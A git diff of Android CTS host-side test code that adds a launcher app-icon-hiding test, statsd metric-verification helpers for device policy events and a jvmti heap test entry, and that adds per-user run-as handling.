index 3ca155f..5ec9ef8 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -739,7 +739,7 @@
                 String[] tokens = line.split("\\{|\\}");
                 String componentName = tokens[1];
                 // Skip to user id line.
-                i += 3;
+                i += 4;
                 line = lines[i].trim();
                 // Line is User ID: <N>
                 tokens = line.split(":");
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
new file mode 100644
index 0000000..7c80023
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/LimitAppIconHidingTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import java.util.Collections;
+
+/**
+ * Set of tests for the limit app icon hiding feature.
+ */
+public class LimitAppIconHidingTest extends BaseLauncherAppsTest {
+
+    private static final String LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK =
+            "CtsNoLaunchableActivityApp.apk";
+
+    private boolean mHasLauncherApps;
+    private String mSerialNumber;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mHasLauncherApps = getDevice().getApiLevel() >= 21;
+
+        if (mHasLauncherApps) {
+            mSerialNumber = Integer.toString(getUserSerialNumber(USER_SYSTEM));
+            installTestApps();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasLauncherApps) {
+            uninstallTestApps();
+        }
+        super.tearDown();
+    }
+
+    @Override
+    protected void installTestApps() throws Exception {
+        super.installTestApps();
+        installAppAsUser(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK, mPrimaryUserId);
+    }
+
+    @Override
+    protected void uninstallTestApps() throws Exception {
+        super.uninstallTestApps();
+        getDevice().uninstallPackage(LAUNCHER_TESTS_NO_LAUNCHABLE_ACTIVITY_APK);
+    }
+
+    public void testNoLaunchableActivityAppHasAppDetailsActivityInjected() throws Exception {
+        if (!mHasLauncherApps) {
+            return;
+        }
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testNoLaunchableActivityAppHasAppDetailsActivityInjected",
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+    }
+
+    public void testNoSystemAppHasSyntheticAppDetailsActivityInjected() throws Exception {
+        if (!mHasLauncherApps) {
+            return;
+        }
+        runDeviceTestsAsUser(LAUNCHER_TESTS_PKG,
+                LAUNCHER_TESTS_CLASS, "testNoSystemAppHasSyntheticAppDetailsActivityInjected",
+                mPrimaryUserId, Collections.singletonMap(PARAM_TEST_USER, mSerialNumber));
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
index 0b98f41..2f4d5d1 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileTest.java
@@ -1256,7 +1256,7 @@
     }
 
     public void testUnlockWorkProfile_deviceWidePassword() throws Exception{
-        if (!mHasFeature) {
+        if (!mHasFeature || !mSupportsFbe) {
             return;
         }
         String password = "0000";
@@ -1326,6 +1326,11 @@
         }
     }
 
+    public void testCrossProfileCalendarPackage() throws Exception {
+        runDeviceTestsAsUser(MANAGED_PROFILE_PKG, ".CrossProfileCalendarTest",
+                "testCrossPrfileCalendarPackage", mProfileUserId);
+    }
+
     private void verifyUnifiedPassword(boolean unified) throws DeviceNotAvailableException {
         final String testMethod =
                 unified ? "testUsingUnifiedPassword" : "testNotUsingUnifiedPassword";
@@ -1480,7 +1485,7 @@
                     userId);
         }
 
-        // Enable / Disable cross profile caller id
+        // Enable / Disable 
         public void setCallerIdEnabled(boolean enabled) throws DeviceNotAvailableException {
             if (enabled) {
                 runDeviceTestsAsUser(mManagedProfilePackage, ".ContactsTest",
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
new file mode 100644
index 0000000..3262632
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/AtomMetricTester.java
@@ -0,0 +1,249 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.metrics;
+
+import static junit.framework.Assert.assertTrue;
+
+import com.android.internal.os.StatsdConfigProto.AtomMatcher;
+import com.android.internal.os.StatsdConfigProto.EventMetric;
+import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
+import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
+import com.android.internal.os.StatsdConfigProto.StatsdConfig;
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.ConfigMetricsReport;
+import com.android.os.StatsLog.ConfigMetricsReportList;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.os.StatsLog.StatsLogReport;
+import com.android.tradefed.device.CollectingByteOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.google.common.io.Files;
+import com.google.protobuf.InvalidProtocolBufferException;
+import com.google.protobuf.MessageLite;
+import com.google.protobuf.Parser;
+import java.io.File;
+import java.util.ArrayList;
+import java.util.Comparator;
+import java.util.List;
+import java.util.function.Predicate;
+import java.util.stream.Collectors;
+
+/**
+ * Tests Statsd atoms.
+ * <p/>
+ * Uploads statsd event configs, retrieves logs from host side and validates them
+ * against specified criteria.
+ */
+class AtomMetricTester {
+    private static final String UPDATE_CONFIG_CMD = "cat %s | cmd stats config update %d";
+    private static final String DUMP_REPORT_CMD =
+            "cmd stats dump-report %d --include_current_bucket --proto";
+    private static final String REMOVE_CONFIG_CMD = "cmd stats config remove %d";
+    /** ID of the config, which evaluates to -1572883457. */
+    private static final long CONFIG_ID = "cts_config".hashCode();
+
+    private final ITestDevice mDevice;
+
+    AtomMetricTester(ITestDevice device) {
+        mDevice = device;
+    }
+
+    void cleanLogs() throws Exception {
+        if (isStatsdDisabled()) {
+            return;
+        }
+        removeConfig(CONFIG_ID);
+        getReportList(); // Clears data.
+    }
+
+    private static StatsdConfig.Builder createConfigBuilder() {
+        return StatsdConfig.newBuilder().setId(CONFIG_ID)
+                .addAllowedLogSource("AID_SYSTEM");
+    }
+
+    void createAndUploadConfig(int atomTag) throws Exception {
+        StatsdConfig.Builder conf = createConfigBuilder();
+        addAtomEvent(conf, atomTag);
+        uploadConfig(conf);
+    }
+
+    private void uploadConfig(StatsdConfig.Builder config) throws Exception {
+        uploadConfig(config.build());
+    }
+
+    private void uploadConfig(StatsdConfig config) throws Exception {
+        CLog.d("Uploading the following config:\n" + config.toString());
+        File configFile = File.createTempFile("statsdconfig", ".config");
+        configFile.deleteOnExit();
+        Files.write(config.toByteArray(), configFile);
+        String remotePath = "/data/local/tmp/" + configFile.getName();
+        mDevice.pushFile(configFile, remotePath);
+        mDevice.executeShellCommand(String.format(UPDATE_CONFIG_CMD, remotePath, CONFIG_ID));
+        mDevice.executeShellCommand("rm " + remotePath);
+    }
+
+    private void removeConfig(long configId) throws Exception {
+        mDevice.executeShellCommand(String.format(REMOVE_CONFIG_CMD, configId));
+    }
+
+    /**
+     * Gets the statsd report and sorts it.
+     * Note that this also deletes that report from statsd.
+     */
+    List<EventMetricData> getEventMetricDataList() throws Exception {
+        ConfigMetricsReportList reportList = getReportList();
+        return getEventMetricDataList(reportList);
+    }
+
+    /**
+     * Extracts and sorts the EventMetricData from the given ConfigMetricsReportList (which must
+     * contain a single report).
+     */
+    private List<EventMetricData> getEventMetricDataList(ConfigMetricsReportList reportList)
+            throws Exception {
+        assertTrue("Expected one report", reportList.getReportsCount() == 1);
+        final ConfigMetricsReport report = reportList.getReports(0);
+        final List<StatsLogReport> metricsList = report.getMetricsList();
+        return metricsList.stream()
+                .flatMap(statsLogReport -> statsLogReport.getEventMetrics().getDataList().stream())
+                .sorted(Comparator.comparing(EventMetricData::getElapsedTimestampNanos))
+                .peek(eventMetricData -> {
+                    CLog.d("Atom at " + eventMetricData.getElapsedTimestampNanos()
+                            + ":\n" + eventMetricData.getAtom().toString());
+                })
+                .collect(Collectors.toList());
+    }
+
+    /** Gets the statsd report. Note that this also deletes that report from statsd. */
+    private ConfigMetricsReportList getReportList() throws Exception {
+        try {
+            return getDump(ConfigMetricsReportList.parser(),
+                    String.format(DUMP_REPORT_CMD, CONFIG_ID));
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            CLog.e("Failed to fetch and parse the statsd output report. "
+                    + "Perhaps there is not a valid statsd config for the requested "
+                    + "uid=" + getHostUid() + ", id=" + CONFIG_ID + ".");
+            throw (e);
+        }
+    }
+
+    /** Creates a FieldValueMatcher.Builder corresponding to the given field. */
+    private static FieldValueMatcher.Builder createFvm(int field) {
+        return FieldValueMatcher.newBuilder().setField(field);
+    }
+
+    private void addAtomEvent(StatsdConfig.Builder conf, int atomTag) throws Exception {
+        addAtomEvent(conf, atomTag, new ArrayList<FieldValueMatcher.Builder>());
+    }
+
+    /**
+     * Adds an event to the config for an atom that matches the given keys.
+     *
+     * @param conf   configuration
+     * @param atomTag atom tag (from atoms.proto)
+     * @param fvms   list of FieldValueMatcher.Builders to attach to the atom. May be null.
+     */
+    private void addAtomEvent(StatsdConfig.Builder conf, int atomTag,
+            List<FieldValueMatcher.Builder> fvms) throws Exception {
+
+        final String atomName = "Atom" + System.nanoTime();
+        final String eventName = "Event" + System.nanoTime();
+
+        SimpleAtomMatcher.Builder sam = SimpleAtomMatcher.newBuilder().setAtomId(atomTag);
+        if (fvms != null) {
+            for (FieldValueMatcher.Builder fvm : fvms) {
+                sam.addFieldValueMatcher(fvm);
+            }
+        }
+        conf.addAtomMatcher(AtomMatcher.newBuilder()
+                .setId(atomName.hashCode())
+                .setSimpleAtomMatcher(sam));
+        conf.addEventMetric(EventMetric.newBuilder()
+                .setId(eventName.hashCode())
+                .setWhat(atomName.hashCode()));
+    }
+
+    /**
+     * Removes all elements from data prior to the first occurrence of an element for which
+     * the <code>atomMatcher</code> predicate returns <code>true</code>.
+     * After this method is called, the first element of data (if non-empty) is guaranteed to be
+     * an element in state.
+     *
+     * @param atomMatcher predicate that takes an Atom and returns <code>true</code> if it
+     * fits criteria.
+     */
+    static void dropWhileNot(List<EventMetricData> metricData, Predicate<Atom> atomMatcher) {
+        int firstStateIdx;
+        for (firstStateIdx = 0; firstStateIdx < metricData.size(); firstStateIdx++) {
+            final Atom atom = metricData.get(firstStateIdx).getAtom();
+            if (atomMatcher.test(atom)) {
+                break;
+            }
+        }
+        if (firstStateIdx == 0) {
+            // First first element already is in state, so there's nothing to do.
+            return;
+        }
+        metricData.subList(0, firstStateIdx).clear();
+    }
+
+    /** Returns the UID of the host, which should always either be SHELL (2000) or ROOT (0). */
+    private int getHostUid() throws DeviceNotAvailableException {
+        String strUid = "";
+        try {
+            strUid = mDevice.executeShellCommand("id -u");
+            return Integer.parseInt(strUid.trim());
+        } catch (NumberFormatException e) {
+            CLog.e("Failed to get host's uid via shell command. Found " + strUid);
+            // Fall back to alternative method...
+            if (mDevice.isAdbRoot()) {
+                return 0; // ROOT
+            } else {
+                return 2000; // SHELL
+            }
+        }
+    }
+
+    /**
+     * Execute a shell command on device and get the results of
+     * that as a proto of the given type.
+     *
+     * @param parser A protobuf parser object. e.g. MyProto.parser()
+     * @param command The adb shell command to run. e.g. "dumpsys fingerprint --proto"
+     *
+     * @throws DeviceNotAvailableException If there was a problem communicating with
+     *      the test device.
+     * @throws InvalidProtocolBufferException If there was an error parsing
+     *      the proto. Note that a 0 length buffer is not necessarily an error.
+     */
+    private <T extends MessageLite> T getDump(Parser<T> parser, String command)
+            throws DeviceNotAvailableException, InvalidProtocolBufferException {
+        final CollectingByteOutputReceiver receiver = new CollectingByteOutputReceiver();
+        mDevice.executeShellCommand(command, receiver);
+        return parser.parseFrom(receiver.getOutput());
+    }
+
+    boolean isStatsdDisabled() throws DeviceNotAvailableException {
+        // if ro.statsd.enable doesn't exist, statsd is running by default.
+        if ("false".equals(mDevice.getProperty("ro.statsd.enable"))
+                && "true".equals(mDevice.getProperty("ro.config.low_ram"))) {
+            CLog.d("Statsd is not enabled on the device");
+            return true;
+        }
+        return false;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
new file mode 100644
index 0000000..264bd08
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventLogVerifier.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.metrics;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.device.ITestDevice;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Objects;
+
+/**
+ * Helper class to assert <code>DevicePolicyEvent</code> atoms were logged.
+ */
+public final class DevicePolicyEventLogVerifier {
+
+    public interface Action {
+        void apply() throws Exception;
+    }
+
+    private static final int WAIT_TIME_SHORT = 500;
+
+    /**
+     * Asserts that <code>expectedLogs</code> were logged as a result of executing
+     * <code>action</code>, in the same order.
+     */
+    public static void assertMetricsLogged(ITestDevice device, Action action,
+            DevicePolicyEventWrapper... expectedLogs) throws Exception {
+        final AtomMetricTester logVerifier = new AtomMetricTester(device);
+        if (logVerifier.isStatsdDisabled()) {
+            return;
+        }
+        try {
+            logVerifier.cleanLogs();
+            logVerifier.createAndUploadConfig(Atom.DEVICE_POLICY_EVENT_FIELD_NUMBER);
+            action.apply();
+
+            Thread.sleep(WAIT_TIME_SHORT);
+
+            final List<EventMetricData> data = logVerifier.getEventMetricDataList();
+            for (DevicePolicyEventWrapper expectedLog : expectedLogs) {
+                assertExpectedMetricLogged(data, expectedLog);
+            }
+        } finally {
+            logVerifier.cleanLogs();
+        }
+    }
+
+    private static void assertExpectedMetricLogged(List<EventMetricData> data,
+            DevicePolicyEventWrapper expectedLog) {
+        final List<DevicePolicyEventWrapper> closestMatches = new ArrayList<>();
+        AtomMetricTester.dropWhileNot(data, atom -> {
+            final DevicePolicyEventWrapper actualLog =
+                    DevicePolicyEventWrapper.fromDevicePolicyAtom(atom.getDevicePolicyEvent());
+            if (actualLog.getEventId() == expectedLog.getEventId()) {
+                closestMatches.add(actualLog);
+            }
+            return Objects.equals(actualLog, expectedLog);
+        });
+        assertWithMessage("Expected metric was not logged.")
+                .that(closestMatches).contains(expectedLog);
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
new file mode 100644
index 0000000..71566d0
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
@@ -0,0 +1,168 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.devicepolicy.metrics;
+
+import android.stats.devicepolicy.StringList;
+import android.stats.devicepolicy.EventId;
+import com.android.os.AtomsProto.DevicePolicyEvent;
+import java.util.Arrays;
+import java.util.Locale;
+import java.util.Objects;
+
+/**
+ * Wrapper over <code>DevicePolicyEvent</code> atom as defined in
+ * <code>frameworks/base/cmds/statsd/src/atoms.proto</code>.
+ * @see Builder
+ */
+public final class DevicePolicyEventWrapper {
+    private final int mEventId;
+    private final int mIntValue;
+    private final boolean mBooleanValue;
+    private final long mTimePeriodMs;
+    private final String[] mStringArrayValue;
+    private final String mAdminPackageName;
+
+    private DevicePolicyEventWrapper(Builder builder) {
+        mEventId = builder.mEventId;
+        mIntValue = builder.mIntValue;
+        mBooleanValue = builder.mBooleanValue;
+        mTimePeriodMs = builder.mTimePeriodMs;
+        mStringArrayValue = builder.mStringArrayValue;
+        mAdminPackageName = builder.mAdminPackageName;
+    }
+
+    /**
+     * Constructs a {@link DevicePolicyEventWrapper} from a <code>DevicePolicyEvent</code> atom.
+     */
+    static DevicePolicyEventWrapper fromDevicePolicyAtom(DevicePolicyEvent atom) {
+        return new Builder(atom.getEventId().getNumber())
+                .setAdminPackageName(atom.getAdminPackageName())
+                .setInt(atom.getIntegerValue())
+                .setBoolean(atom.getBooleanValue())
+                .setTimePeriod(atom.getTimePeriodMillis())
+                .setStrings(getStringArray(atom.getStringListValue()))
+                .build();
+    }
+
+    /**
+     * Converts a <code>StringList</code> proto object to <code>String[]</code>.
+     */
+    private static String[] getStringArray(StringList stringList) {
+        final int count = stringList.getStringValueCount();
+        if (count == 0) {
+            return null;
+        }
+        final String[] result = new String[count];
+        for (int i = 0; i < count; i++) {
+            result[i] = stringList.getStringValue(i);
+        }
+        return result;
+    }
+
+    int getEventId() {
+        return mEventId;
+    }
+
+    @Override
+    public boolean equals(Object obj) {
+        if (!(obj instanceof DevicePolicyEventWrapper)) {
+            return false;
+        }
+        final DevicePolicyEventWrapper other = (DevicePolicyEventWrapper) obj;
+        return mEventId == other.mEventId
+                && mIntValue == other.mIntValue
+                && mBooleanValue == other.mBooleanValue
+                && mTimePeriodMs == other.mTimePeriodMs
+                && Objects.equals(mAdminPackageName, other.mAdminPackageName)
+                && Arrays.equals(mStringArrayValue, other.mStringArrayValue);
+    }
+
+    @Override
+    public String toString() {
+        return String.format(Locale.getDefault(), "{ eventId: %s(%d), intValue: %d, "
+                        + "booleanValue: %s, timePeriodMs: %d, adminPackageName: %s, "
+                        + "stringArrayValue: %s }",
+                EventId.forNumber(mEventId), mEventId, mIntValue, mBooleanValue,
+                mTimePeriodMs, mAdminPackageName, Arrays.toString(mStringArrayValue));
+    }
+
+    /**
+     * Builder class for {@link DevicePolicyEventWrapper}.
+     */
+    public static class Builder {
+        private final int mEventId;
+        private int mIntValue;
+        private boolean mBooleanValue;
+        private long mTimePeriodMs;
+        private String[] mStringArrayValue;
+        // Default value for Strings when getting dump is "", not null.
+        private String mAdminPackageName = "";
+
+        public Builder(int eventId) {
+            this.mEventId = eventId;
+        }
+
+        public Builder setInt(int value) {
+            mIntValue = value;
+            return this;
+        }
+
+        public Builder setBoolean(boolean value) {
+            mBooleanValue = value;
+            return this;
+        }
+
+        public Builder setTimePeriod(long timePeriodMs) {
+            mTimePeriodMs = timePeriodMs;
+            return this;
+        }
+
+        public Builder setStrings(String... values) {
+            mStringArrayValue = values;
+            return this;
+        }
+
+        public Builder setStrings(String value, String[] values) {
+            if (values == null) {
+                throw new IllegalArgumentException("values cannot be null.");
+            }
+            mStringArrayValue = new String[values.length + 1];
+            mStringArrayValue[0] = value;
+            System.arraycopy(values, 0, mStringArrayValue, 1, values.length);
+            return this;
+        }
+
+        public Builder setStrings(String value1, String value2, String[] values) {
+            if (values == null) {
+                throw new IllegalArgumentException("values cannot be null.");
+            }
+            mStringArrayValue = new String[values.length + 2];
+            mStringArrayValue[0] = value1;
+            mStringArrayValue[1] = value2;
+            System.arraycopy(values, 0, mStringArrayValue, 2, values.length);
+            return this;
+        }
+
+        public Builder setAdminPackageName(String packageName) {
+            mAdminPackageName = packageName;
+            return this;
+        }
+
+        public DevicePolicyEventWrapper build() {
+            return new DevicePolicyEventWrapper(this);
+        }
+    }
+}
diff --git a/hostsidetests/dexmetadata/host/AndroidTest.xml b/hostsidetests/dexmetadata/host/AndroidTest.xml
index 3f1603d..a370280 100644
--- a/hostsidetests/dexmetadata/host/AndroidTest.xml
+++ b/hostsidetests/dexmetadata/host/AndroidTest.xml
@@ -15,7 +15,7 @@
 -->
 <configuration description="Config for CTS Dex Metadata host test cases">
     <option name="test-suite-tag" value="cts" />
-    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDexMetadataDeviceTestApp.apk" />
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index a2449422b..a3e51e1 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -228,8 +228,8 @@
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers");
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layers_gles");
         mDevice.executeAdbCommand("shell", "settings", "delete", "global", "gpu_debug_layer_app");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\"\"\'");
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\"\"\'");
+        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers", "\'\'");
+        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers", "\'\'");
     }
 
     /**
diff --git a/hostsidetests/jvmti/TEST_MAPPING b/hostsidetests/jvmti/TEST_MAPPING
index 23787d5..43f24b1 100644
--- a/hostsidetests/jvmti/TEST_MAPPING
+++ b/hostsidetests/jvmti/TEST_MAPPING
@@ -37,6 +37,9 @@
       "name": "CtsJvmtiRunTest912HostTestCases"
     },
     {
+      "name": "CtsJvmtiRunTest913HostTestCases"
+    },
+    {
       "name": "CtsJvmtiRunTest914HostTestCases"
     },
     {
diff --git a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
index 4dfc323..3af0b9e 100644
--- a/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
+++ b/hostsidetests/jvmti/attaching/host/src/android/jvmti/cts/JvmtiAttachingHostTest.java
@@ -49,6 +49,7 @@
 
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
+    private int mCurrentUser;
 
     @Override
     public void setBuild(IBuildInfo arg0) {
@@ -66,6 +67,11 @@
 
     private final static String AGENT = "libctsjvmtiattachagent.so";
 
+    @Override
+    protected void setUp() throws Exception {
+        mCurrentUser = getDevice().getCurrentUser();
+    }
+
     public void testJvmtiAttachDuringBind() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
@@ -79,7 +85,8 @@
     public void testJvmtiAttachEarly() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+                String pwd = device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -125,7 +132,8 @@
     public void testJvmtiAgentAppExternal() throws Exception {
         runJvmtiAgentLoadTest((ITestDevice device, String pkg, String apk, String abiName) -> {
             try {
-                String pwd = device.executeShellCommand("run-as " + pkg + " pwd");
+                String pwd = device.executeShellCommand(
+                        "run-as " + pkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -224,13 +232,14 @@
             }
 
             String runAsCp = device.executeShellCommand(
-                    "run-as " + pkg + " cp " + libInTmp + " " + libInDataData);
+                    "run-as " + pkg + " --user " + mCurrentUser +
+                            " cp " + libInTmp + " " + libInDataData);
             if (runAsCp != null && !runAsCp.trim().isEmpty()) {
                 throw new RuntimeException(runAsCp.trim());
             }
 
-            String runAsChmod = device
-                    .executeShellCommand("run-as " + pkg + " chmod a+x " + libInDataData);
+            String runAsChmod = device.executeShellCommand(
+                    "run-as " + pkg + " --user " + mCurrentUser + " chmod a+x " + libInDataData);
             if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
                 throw new RuntimeException(runAsChmod.trim());
             }
diff --git a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
index c4e8916..68e9aab 100644
--- a/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
+++ b/hostsidetests/jvmti/base/host/src/android/jvmti/cts/JvmtiHostTest.java
@@ -65,6 +65,7 @@
 
     private CompatibilityBuildHelper mBuildHelper;
     private IAbi mAbi;
+    private int mCurrentUser;
 
     @Override
     public void setBuild(IBuildInfo arg0) {
@@ -76,6 +77,11 @@
         mAbi = arg0;
     }
 
+    @Override
+    protected void setUp() throws Exception {
+        mCurrentUser = getDevice().getCurrentUser();
+    }
+
     public void testJvmti() throws Exception {
         final ITestDevice device = getDevice();
 
@@ -150,7 +156,8 @@
 
         public void prepare() {
             try {
-                String pwd = mDevice.executeShellCommand("run-as " + mPkg + " pwd");
+                String pwd = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " --user " + mCurrentUser + " pwd");
                 if (pwd == null) {
                     throw new RuntimeException("pwd failed");
                 }
@@ -202,13 +209,15 @@
                 }
 
                 String runAsCp = mDevice.executeShellCommand(
-                        "run-as " + mPkg + " cp " + libInTmp + " " + libInDataData);
+                        "run-as " + mPkg + " --user " + mCurrentUser +
+                                " cp " + libInTmp + " " + libInDataData);
                 if (runAsCp != null && !runAsCp.trim().isEmpty()) {
                     throw new RuntimeException(runAsCp.trim());
                 }
 
-                String runAsChmod = mDevice
-                        .executeShellCommand("run-as " + mPkg + " chmod a+x " + libInDataData);
+                String runAsChmod = mDevice.executeShellCommand(
+                        "run-as " + mPkg + " --user " + mCurrentUser +
+                                " chmod a+x " + libInDataData);
                 if (runAsChmod != null && !runAsChmod.trim().isEmpty()) {
                     throw new RuntimeException(runAsChmod.trim());
                 }
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
index 95d002e..9794ae2 100644
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ b/hostsidetests/jvmti/run-tests/Android.mk
@@ -54,6 +54,7 @@
     src/911-get-stack-trace/src/art/ThreadListTraces.java \
   src/912-classes/src-art/art/Test912.java \
     src/912-classes/src-art/art/DexData.java \
+  src/913-heaps/src/art/Test913.java \
   src/914-hello-obsolescence/src/art/Test914.java \
   src/915-obsolete-2/src/art/Test915.java \
   src/917-fields-transformation/src/art/Test917.java \
@@ -146,6 +147,7 @@
   910 \
   911 \
   912 \
+  913 \
   914 \
   915 \
   917 \
diff --git a/hostsidetests/jvmti/run-tests/test-913/Android.mk b/hostsidetests/jvmti/run-tests/test-913/Android.mk
new file mode 100644
index 0000000..3c87a22
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-913/Android.mk
@@ -0,0 +1,21 @@
+# Copyright (C) 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CtsJvmtiRunTest913HostTestCases
+
